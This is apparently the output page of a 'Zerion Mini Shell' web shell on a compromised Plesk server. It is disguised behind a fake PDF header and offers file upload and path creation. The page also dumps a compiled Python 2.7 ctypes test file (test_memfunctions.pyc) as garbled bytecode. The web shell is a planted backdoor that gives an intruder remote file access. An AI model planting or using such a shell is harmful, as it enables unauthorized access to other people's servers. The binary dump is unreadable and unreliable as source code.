%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/
Upload File :
Create Path :
Current File : //proc/self/root/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/test_memfunctions.pyc

�
5}�ac@shddlZddlZddlTddlmZdejfd��YZedkrdej�ndS(i����N(t*(tneed_symboltMemFunctionsTestcBsYeZejd�d��Zd�Zd�Zd�Zd�Ze	d�d��Z
RS(s
test disabledcCs<|jtttfd��|jtttfd��dS(NcSstdtjd�S(Nufooi(t
wstring_attsystmaxint(((sF/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/test_memfunctions.pyt<lambda>tcSstdtjd�S(Ntfooi(t	string_atRR(((sF/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/test_memfunctions.pyRR(tassertRaisest
OverflowErrortMemoryErrortSystemError(tself((sF/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/test_memfunctions.pyt
test_overflows
cCs�td�}d}t||t|��}|j|jd�|jt|�d�|jt|d�d�|jt|d�d�|jt|d�d�dS(	Ni@BsHello, WorlditHelloisHello, WorldiR(tcreate_string_buffertmemmovetlentassertEqualtvalueR	(Rtatptresult((sF/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/test_memfunctions.pyttest_memmovescCs�td�}t|td�d�}|j|jd�|jt|�d�|jt|�d�|jt|d�d�dS(Ni@Btxitxxxxxxxxxxxxxxxxisxxxxxxxxxxxxxxxx(RtmemsettordRRR	(RRR((sF/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/test_memfunctions.pyttest_memsetsc	CsZtdttd��}|jt|t�jd�|jt|tt��d dddddd	d
g�|jt|tt��ddd�dddddd	d
g�|jt|tt��ddd�d
d	dddddg�|jt|tt��ddd
�dddd
g�|jt|tt��ddd�dg�dS(Ni tabcdefiiaibicidieifiii����i(
tc_ubytetmapRRtcasttc_char_pRtPOINTERtc_bytetNone(RR((sF/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/test_memfunctions.pyt	test_cast(s%%%%cCsktd�}|jdtj|��|j|d�|jtdd�d�|jtdd�d�dS(Nsfoo bariisfoo bariR(R	RRtgetrefcountt
assertTrue(Rts((sF/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/test_memfunctions.pyttest_string_at6s
tcreate_unicode_buffercCs�td�}td�}t||t|�tt��}|j|jd�|jt|�d�|jt|d�d�|jt|d�d�|jt|d�d�dS(	NsHello, Worldi@BiRisHello, WorldiR(R,RRtsizeoftc_wcharRRR(RRRR((sF/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/test_memfunctions.pyttest_wstring_at@s"(t__name__t
__module__tunittesttskipRRRR'R+RR/(((sF/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/test_memfunctions.pyRs	
				
t__main__(	RR2tctypestctypes.testRtTestCaseRR0tmain(((sF/opt/plesk/python/2.7/lib64/python2.7/ctypes/test/test_memfunctions.pyt<module>s
F

Zerion Mini Shell 1.0